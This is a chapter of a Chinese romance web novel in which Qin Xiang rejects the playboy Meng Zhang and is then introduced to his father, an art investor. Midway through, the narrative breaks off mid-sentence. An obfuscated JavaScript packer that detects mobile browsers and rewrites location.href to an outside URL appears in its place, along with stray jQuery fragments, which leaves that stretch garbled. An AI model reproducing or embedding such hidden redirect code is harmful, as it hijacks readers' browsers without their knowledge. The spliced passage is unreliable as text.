丸哦 作品

37.第 37 章

    秦湘和孟樟扶着海边的围栏,孟樟在看秦湘,秦湘在看大海。


    今天澜城的天气有些阴沉,太阳被密云遮挡,阳光雾蒙蒙地洒下来,远方的货船和小岛都被雾光柔焦,只透出清浅的轮廓。


    海角声破雾而来,秦湘的脸上露出微笑。


    孟樟看着她的侧脸,内心焦躁,他阅女无数,她们在他耳边叽叽喳喳,有人痴缠,有人献媚。他过去最讨厌女人的聒噪,但还是第一次这样讨厌女人的沉默。


    可秦湘永远沉默,永远沉得住气,显得他如跳梁小丑一般,低劣,笨拙。


    “你笑什么?”孟樟还是忍不住问。


    秦湘转过头来看他,笑意未减:“今天的海,是莫奈的海。”


    孟樟眉头微蹙,秦湘“噗”地笑出声来,继而认真地看着他:“孟樟,其实我并不是你喜欢的类型。”


    孟樟的眸色乱起来,秦湘这次又是先声夺人,又打乱了他想跟她沟通的节奏。


    “我知道莫奈的。”孟樟像是个初出茅庐的江湖子弟,秦湘是他遇到的第一个绝世高手,他急于让对方认可他的实力:“法国印象派画家。”


    秦湘被孟樟的认真逗笑,但并没有在这个问题上纠缠,她声音平静:“你说你想聊一聊,聊什么?”


    话题好不容易回到正轨,孟樟却紧张起来:“你……你说过的,过完年只要我约你你就会见我,可我约你那么多次,你为什么不见……”


    秦湘微微颔首,想了想前几次孟樟邀约的时机,答道:“那几次我都有事,有一次是正在跟一个美术馆谈我的作品展,还有一次是要跟灿灿一起去文创工厂验货,上次是……”


    “你总是有这些理由,这些事情都比我重要是吗?”孟樟真的有些生气:“可你明明承诺我了,你答应过我,我找你你就会见我。”


    “孟樟,不是这些事情比你重要。”秦湘的笑意也尽数从脸上退下去,声音温柔而笃定:“是在我心里,我自己比你重要,重要很多很多。”


    秦湘说得坦坦荡荡,孟樟不由气笑了,怎么会有人毁约毁得这么理直气壮。


    秦湘见孟樟满脸不屑,并不觉得恼,只是解释:“画画是我的事业,灿灿是我最好的朋友,我看重这些,超过跟你的露水情缘,是再正常不过的事。”


    “露水情缘?”孟樟的眼眶已经有些生热:“所以在你心里,我就是个一夜/情的对象?”


    “不然呢?”秦湘笑了:“我在你心里,不也就是个一夜/情的对象吗?”


    “不是!”孟樟飞快反驳道:“你不是,你不一样。”


    脱口否认这一句之后,孟樟意识到自己的这句话有些不具说服力,因为他对秦湘确实是见色起意,于是又赶忙解释:“我一开始确实只想跟你当炮/友,可你跟我之前遇到的其他女人不一样,我走心了,我……”


    “没有什么不一样。”秦湘轻叹一口气,打断孟樟:“等你新鲜劲过了,我跟你其他的一夜情对象,都是一样的。甚至我还会因为我的孤芳自赏,变得面目可憎起来。”


    “不会的。”孟樟走近秦湘一步,跟她四目相对:“你跟她们不一样,你骄傲独立,不慕虚荣。你是我遇到的最好的女孩儿。我对你是真心的,如果你暂时不能接受也没关系,你可以考验我,我可以等。但你不能现在就对我宣判,在没有任何事实依据的情况下,就断定我不能跟你有进一步发展……我真的可以接受考验,你考验我吧,就像张颜灵考验徐渡那样……”


    孟樟慷慨陈词,秦湘又低头轻笑起来。


    孟樟都快哭了:“你老是笑什么啊……”


    秦湘直白道:“你这话说得,就好像我跟你是徐渡张颜灵故事里的男二号和女二号。男女主角在一起了,作为男女主朋友的我们发生了一些纠葛,就一定要有个结果。可是怎么办啊孟樟,我想过主角的人生。”


    “我不是这个意思……”孟樟觉得自己被一股强烈的无力感包裹,由内而外遍及全身。


    秦湘的脸上又浮现温柔的微笑:“孟樟,我们两个不是一类人。你长久地爱着爱情本身,但只能短暂地爱一个人。可我不是,我渴望长久而稳定的关系,我渴望肝胆相照、至死不渝。你对我意犹未尽,是因为你之前游戏人间,是游戏的掌控者,而我没有遵守你的游戏规则,所以你不适应,想扳回一局。但是你仔细想想,何必呢?你并没有输啊,那天晚上我的确很快乐,你是很好的床伴,不……甚至是最好的床伴。”


    “我既然是最好的床伴,那你为什么不喜欢我。”


    “活儿好是优点,但不是产生爱情的必然条件。”


    秦湘认真思考并评估孟樟床技的样子,彻底惹恼了他:“你渴望长久忠贞?那你为什么要跟我一夜/情?”


    “因为欲望。”秦湘说得坦荡:“我是个健康的成年女性,我有生理上的欲望,有需求,不是很正常吗?我没有在跟别人相爱的同时跟你发生一夜/情,这并不影响我的忠贞。”


    “你……”孟樟语塞,气红了脸。


    秦湘垂首含笑,片刻过后,又转身看向远方的海:“孟樟,时间是治愈一切的良药,你心里对我的这份不甘,很快就会过去。就像一场流感,发过高烧,脑子糊涂一阵,痊愈之后,就会觉得,流感是真难受,还是别沾上得好。”


    就像……秦湘心里想,就像我对苏宴成,放下之后,回头再看,不过是大病一场。


    ……


    张颜灵正跟孟博聊“生意”,远远看见秦湘和孟樟回来了,秦湘倒是一切如常,就是孟樟像是霜打了的茄子一样。


    张颜灵松了一口气,秦湘早年间是个恋爱脑,孟樟则是澜城出了名的花花公子,她很怕秦湘在这段关系里受伤害,不过现在看来,受伤的应该不是秦湘。那就好那就好。


    “湘湘!过来。”张颜灵招呼秦湘,想把她介绍给孟博。


    张颜灵想介绍这两人认识,跟孟博今天跟她谈的“生意”有关。


    孟博作为国内首屈一指的富豪,涉猎的商业领域很广,但他有一项热爱了大半辈子的事业——艺术投资。


    他经常去国内著名的艺术院校,看学生们的毕业作品展,搜罗他眼中的可塑之才,考察过后对他们进行投资,帮助他们踏入艺术界、成为预备艺术家,或者帮助他们在跟艺术挂钩的专业领域里安身立命。


    他既往艺术投资里最成功的例子就是徐渡,短短几年之内从小镇做题家一跃成为全球炙手可热的建筑设计鬼才。


    但最近几年经济大环境不好,孟博能用来进行艺术投资的资金日益减少。澜城也好,其他一线城市也罢,各个美术馆的合作门槛却越来越高。至于二三线的城市,艺术的普及还不够深远,投资回报比太差。


    所以孟博在听孟樟说了此岸咖啡的布局和商业用途之后,就动了想跟张颜灵合作的念头。


    这房子是徐渡设计的,本身就能吸引懂建筑或者跟徐渡有来往的一些客户;此岸的选址又在客流量很大的燕子礁;最重要的是,张颜灵在创业初期


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573689|166698||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    ,需要客源,所以提出的条件应该不会太苛刻。这样的合作对双方来说都有利。


    果不其然,张颜灵一听就答应了,此岸的艺术区现在只临时摆了秦湘的一些作品。


    秦湘是独立画师,成名的时候在国外,回国之后蜗居在颜城老家池塘镇,和国内主流的艺术圈子没什么来往,秦湘都没有这方面的人脉,更别说张颜灵。


    孟博这时候送来一批年轻画手的作品,对于张颜灵来说,正是雪中送炭。


    秦湘不明所以,张颜灵赶紧介绍:“这是孟樟的父亲,国内知名的艺术投资人,孟博孟叔叔。”


    秦湘眼睛亮了亮,她虽然对所谓的“圈子”不感兴趣,但只要是做艺术的,都听过孟博的大名,没想到他居然是孟樟的父亲。


    秦湘得体一笑,伸出手:“孟叔叔您好,久仰大名。我是灿灿的朋友,名叫秦湘,您也可以叫我的笔名——秦不成。”


    孟博恍然,同秦湘握手:“你竟然是秦不成,真是后生可畏。你的《唐宫夜游》系列我很喜欢,我还曾经试图联系过你,但业内的同僚都说你不太在国内的艺术市场露面。”


    秦湘赧然一笑:“不瞒孟叔叔,我能年少成名,并不是因为技法多么出众,是因为我运气好。我在国内读大学的时候,有国外的一位艺术投资者看中了我的作品,她愿意帮我,我才能有今天。”


    孟博其实知道这些事,早在他看《唐宫夜游》系列作品的时候,秦不成的背景他早就调查清楚了。但他刚才没提,是因为艺术家大都心高气傲,名利双收之后,愿意承认自己运气高于才华和努力的人,寥寥无几。


    可秦湘似乎并不在意,孟博因此高看秦湘一眼,这是个正直坦率的姑娘。


    孟樟虽然颓丧,但还是一直痴痴看着秦湘:“你为什么叫秦不成?”


    孟博看了自己儿子一眼,意味深长。


    秦湘依旧一派平静:“世间无限丹青手,一片伤心画不成。这个笔名,算是给我自己一点鞭策吧,希望有朝一日,我能把普罗大众的情感用画作的形式表现出来。”


    孟樟懵懵懂懂地点了点头,张颜灵则深深看了秦湘一眼。


    秦湘的这个笔名,是在她跟苏老师表白失败之后确定的。


    苏老师的名字是苏宴成,秦湘的笔名叫秦不成。


    那一片画不成的伤心不是别人的,是她自己的。


    张颜灵凑到秦湘跟前,偷偷牵住了秦湘的手。


    秦湘看向她,笑了,张颜灵也笑了。


    这是她们两人之间的一份懂得。


    其他人没有察觉出两人之间气氛的微妙,孟博最终问了一句:“我可以冒昧问一下你的投资人是谁吗?我很想知道,哪位同好这么有眼光。”


    秦香没有隐瞒:“我没有见过我的投资人,我只知道她是定居美国的华人女性,每次联系我的都是她的助手。”


    孟博陷入沉思,直到孟樟出声叫他,他才回过神来。


    最终孟博笑道:“今天和你们这些年轻人在一起,我都感觉自己也年轻了,张小姐……”


    “叫我灿灿就好。”


    “灿灿。”孟博慈爱一笑:“回头我让助手把我想推广的年轻画手的名单和作品整理成册,发给你,你筛选一下跟你咖啡店调性比较接近的人选。合同拟好之后我让徐渡带过来。”


    “好。”张颜灵温婉一笑。


    只有她自己知道,她表面冷静自持,但内心已经在循环播放刘德华老师的《恭喜发财》了。